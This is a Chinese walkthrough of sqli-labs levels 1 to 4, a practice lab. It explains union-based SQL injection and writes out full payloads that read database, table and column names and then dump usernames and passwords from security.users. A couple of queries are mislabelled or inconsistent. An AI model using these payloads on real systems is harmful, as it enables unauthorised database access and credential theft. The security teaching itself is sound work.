**
sqli-labs-1:基于错误的GET单引号字符型注入:
**
点进去题目:
提示我们输入题目id,第一题,所以我们输入?id=1,回车即可。如图:
首先可以判断这里接受的是一个GET请求,先在1后面加一个’ 发现报错,说明这里没有过滤掉引号,所以这里是一个注入点
SQL注入通常有两种类型,整形注入和字符型注入,那么我们要判断这是哪种注入就要分析这里的报错语句,报错信息中共有5个单引号,"实际上是两个单引号,最外面的两个是报错信息的提示引号,'1’两边的引号是后台代码的引号,多出来的就是我们加上的,因为这里给输入的1加上了引号所以后台接受的是字符型,那么我们在后续的注入中需要加 ’ 来闭合后面的引号
接下来我们需要通常使用order by加数字判断表中有几列,数字 1 2 3 4 5一直试直到报错为止,另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。这里我们发现到了数字4就报错了,所以这里有3列,接下来我们需要判断这里的回显位置,将id=1改为一个数据库不存在的id值,如666,使用union select 1,2,3联合查询语句查看页面是否有显示位。
为什么这里得用666??为什么2,3被显示了? ?这里,容我大概说说:
因为,程序在展示数据的时候通常只会取结果集的第一行数据,看一下源码,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。将id改成666,使union前面的语句报错,执行后面的,爆出显示位2,3
我们这里选择在2的位置放上SQL语句
接下来我们需要查看库名
id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
group_concat() 函数:用于将SQL语句的结果拼接在一起,如果我们的查询结果多于一个就需要将这些结果拼接出来,大家可以试一试,如果这里不使用group函数会报错,提示输出结果多于一行
information_schema 库:这个库是在MySql 5.0之后的一个库,用来存放整个数据库的信息,里面可以查询到 所有的库名,表名,列明。 所以,我们所需要的MySQL数据库版本必须在5.0以上。
查询security内的所有表名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
接着使用下面的语句爆破出列名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
最后使用如下语句查询所有的用户名,密码.
用户名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users) --+
密码:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(username) from security.users) --+
好啦,第一关到此基本就结束了,萌新做题,瑕疵百出,错的地方希望各位大佬能够指明,不会的我说不定也可以帮你们哟。
sqli-lbs-2 GET - Error based - Intiger based (基于错误的GET整型注入)
知识点:1,判断是数字型还是字符型,单引号还是双引号
2,union select联合查询注入
3,payload原理与防御措施
这道题与上道题的主要区别就是这个是整型,即这个题的id参数没有引号,只是数字,这意味着在你绕过的时候可以不需要对后面的引号过滤(如果没有其他干扰的话)
大概步骤:1.输入?id=2-1页面信息发生变化,说明此处是数值型注入
2.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
3.接着可以使用联合查询进行注入,详细过程参考第一关
接下来进行操作: 输入 ?id=2-1
接下来进行回显操作,先 order by 3 再 order by 4
输入4时错误,所以判断只有三列数据,判断完后我们就可以进行联合查询了,操作同第一关:
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users)–+
至此,所有的用户名和密码就都出来啦,嘻嘻🤭。
**
Less-3 Error Based- String (with Twist)
**
1.1.向页面输入?id=2’ --+页面显示不正常,
但是输入 ?id=2’) --+ 页面回显正常,说明此处是字符型注入,而且是以 (’’)的方式闭合字符串的
2.接着使用order by 判断表中有3列数据
3.接着使用联合查询,union select 1,2,3 ,4判断页面是否有显示位,
有,下面使用第一关所使用的查询语句,测试一下
ojbk!
**
Less-4 Error Based- DoubleQuotes String
**
与第三关类似,第四关使用 ("") 的方式闭合字符串,然后可以优先使用联合查询注入
1.当输入?id=3" --+时,页面显示不正常
2.当输入?id=3") --+后正常:
接下来接着使用第一关的联合查询即可得到答案:
1~4关主要都是使用联合查询得出列表,原理和部分解析都在第一题中,还望多多指教🤭。